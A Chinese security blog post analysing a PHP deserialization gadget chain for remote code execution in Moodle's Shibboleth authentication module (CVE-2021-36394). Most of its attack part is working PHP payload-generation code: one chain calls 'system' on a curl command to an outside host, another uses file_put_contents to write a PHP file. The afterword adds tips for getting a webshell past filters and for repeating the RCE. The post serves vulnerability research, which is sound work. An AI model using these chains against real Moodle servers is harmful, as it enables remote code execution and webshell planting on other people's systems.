CVE-2021-36394-Moodle Shibboleth PHP反序列化利用链构造之二

VSole2021-10-23 21:22:05

引言

之前已经就CVE-2021-36394 Moodle Shibboleth认证模块反序列化漏洞原理进行了详细分析,并且给出了一条可实现修改管理员密码的利用链:

最近发现有小伙伴放出了RCE的利用链,瞅了下确实可行,还是自己功力不够啊,这里分享下对这条利用链的分析过程。

利用链构造

和前面实现修改管理员密码的利用链一样,触发点还是定在`core\lock\lock#`类,`__destruct`函数定义如下:


存在字符串拼接,并且参数`$this->key`可控,现在就需要寻找`__toString`函数。


注意到`core_availability\tree#__toString`:


里面存在`foreach`遍历,`$this->children`可控,搜索`current`函数。


注意到`core\dml\recordset_walk#current`:


存在`call_user_func`调用,是潜在的可用对象。参数`$this->callback`、`$this->callbackextra`都可控,重点分析下参数`$this->recordset->current()`,看下定义:

可见`$this->recordset`应该继承于`moodle_recordset`这样一个抽象类,`moodle_recordset`继承于接口`Iterator`,先找下`moodle_recordset`全部子类:


从上面所以潜在的子类来分析,以位于`question/engine/tests/helpers.php`的`question_test_recordset`类进行测试,构造如下生成代码:

<?php
namespace core\lock {
    class lock {
        public function __construct($class)
{
            $this->key = $class;
        }
    }
}
namespace core_availability{
    class tree {
        public function __construct($class)
{
            $this->children = $class;
        }
    }
}
namespace core\dml{
    class recordset_walk {
        public function __construct($class)
{
            $this->recordset = $class;
            $this->callbackextra = "test";
            $this->callback = "system";


        }
    }
}
namespace {
    class question_test_recordset{
        public function __construct(){
            $this->records = array("curl http://***:1111/cccc");
        }
    }
    $recordset=new question_test_recordset();
    $walk = new core\dml\recordset_walk($recordset);
    $tree = new core_availability\tree($walk);
    $lock = new core\lock\lock($tree);
    echo serialize($lock);
}


发现Moodle并没有加载这个类,反序列化操作中`$this->children`为`null`,无法触发`current`函数。这个地方卡住很久,扩大到实现接口`Iterator`的类,最后定位`question/engine/questionusage.php`中的类`question_attempt_iterator`,同样这个类默认Moodle也没有加载,但是我们找到一个辅助类`core_question_external`:

写文件Gadget

可以通过`question_attempt_iterator`类进行辅助,构造一个文件写的Gadget代码如下:

<?php
namespace core\lock {
    class lock {
        public function __construct($class)
{
            $this->key = $class;
        }
    }
}
namespace core_availability{
    class tree {
        public function __construct($class)
{
            $this->children = $class;
        }
    }
}
namespace core\dml{
    class recordset_walk {
        public function __construct($class)
{
            $this->recordset = $class;
            $this->callbackextra = "aaaaaaaa";
            $this->callback = "file_put_contents";


        }
    }
}
namespace {
    class question_attempt_iterator{
        public function __construct($class)
{
            $this->slots = array(
                "xxx" => "key"
            );
            $this->quba = $class;
        }
    }
    class question_usage_by_activity{
        public function __construct()
{
            $this->questionattempts = array(
                "key" => "aaaa.php"
            );
        }
    }
    class core_question_external{}
    $add_lib = new core_question_external();
    $activity = new question_usage_by_activity();
    $iterator = new question_attempt_iterator($activity);
    $walk = new core\dml\recordset_walk($iterator);
    $tree = new core_availability\tree($walk);
    $lock = new core\lock\lock($tree);
    $arr = array($add_lib, $lock);
    echo serialize($arr);

}

效果:

后记

由于存在过滤,直接写入php webshell是不行的,但是结合实际情况,稍微转换下还是可行的。这里需要补充说明的是,由于在反序列化时,默认会将全部`sess_***`文件循环进行处理,所以在创建一个session文件后,应该主动调用`/login/logout.php`完成session注销(删除对应`sess_***`文件),否则RCE可能只有第一次有效。

由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。

namespacephp序列化
本作品采用《CC 协议》,转载必须注明作者和本文链接
之前已经就CVE-2021-36394 Moodle Shibboleth认证模块反序列化漏洞原理进行了详细分析,并且给出了一条可实现修改管理员密码的利用链: 最近发现有小伙伴放出了RCE的利用链,瞅了下确实可行,还是自己功力不够啊,这里分享下对这条利用链的分析过程。
正常来说一个合法的反序列化字符串,在二次序列化也即反序列化序列化之后所得到的结果是一致的。
⽹上整理的⾯试问题⼤全,有些 HW ⾯试的题,已经收集好了,提供给⼤家。
0x00 前言CI框架作为PHP国外流行的框架,笔者有幸的挖掘到了它的反序列化POP链,其漏洞影响版本为4.*版本。
前言目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:。下方的sql语句可能存在注入这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。
Laravel Framework 5.7.x版本中的Illuminate组件存在反序列化漏洞,远程攻击者可利用该漏洞执行代码。
本文来自“白帽子社区”知识星球作者:想看云飞却没风01环境搭建composer create-project topthink/think=6.0.x-dev thinkphp-v6.0. 在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的__toString 方法。
2021蓝帽杯决赛Web wp。
搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式,个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。原理在阐述具体原理之前,先介绍几个SQL语句,以便后文理解首先在tmp目录下新建一个tmp.txt内容如下:然后执行下方SQL语句,即可将tmp.txt文件导入其中mysql>?
Thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新
VSole
网络安全专家